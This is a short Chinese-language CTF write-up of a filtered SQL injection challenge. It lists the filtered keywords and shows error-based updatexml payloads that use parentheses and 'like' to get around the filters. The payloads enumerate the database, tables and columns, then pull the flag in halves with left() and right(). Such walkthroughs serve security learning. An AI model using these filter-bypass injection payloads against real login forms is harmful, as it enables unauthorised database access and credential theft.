使用fuzz测试,过滤有点多,包括=【用like代替】,空格【用()代替】,union【用or代替】等等都被过滤
使用堆注入查询,似乎不行,而且substr也被禁用,尝试使用报错注入
updatexml或extractvalue
构造查询数据库payload
admin'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
构造查询表payload
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1))#
构造查询字段payload
admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1))#
构造查询password密码
admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e),1))#
拿到一半的flag
构造left和right的payload
lift:admin'or(updatexml(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1)),0x7e),1))#
right:admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)),0x7e),1))#
构造最后完整flag的时候出了点问题,合并的flag出重了,删减的时候又麻烦,可以把right(password,30)适当减小
flag{f7b7320b-3cfd-4b1a-a390-04ba01b35cdf}
flag{f7b7320b-3cfd-4b1a-a390-04ba01b35cdf}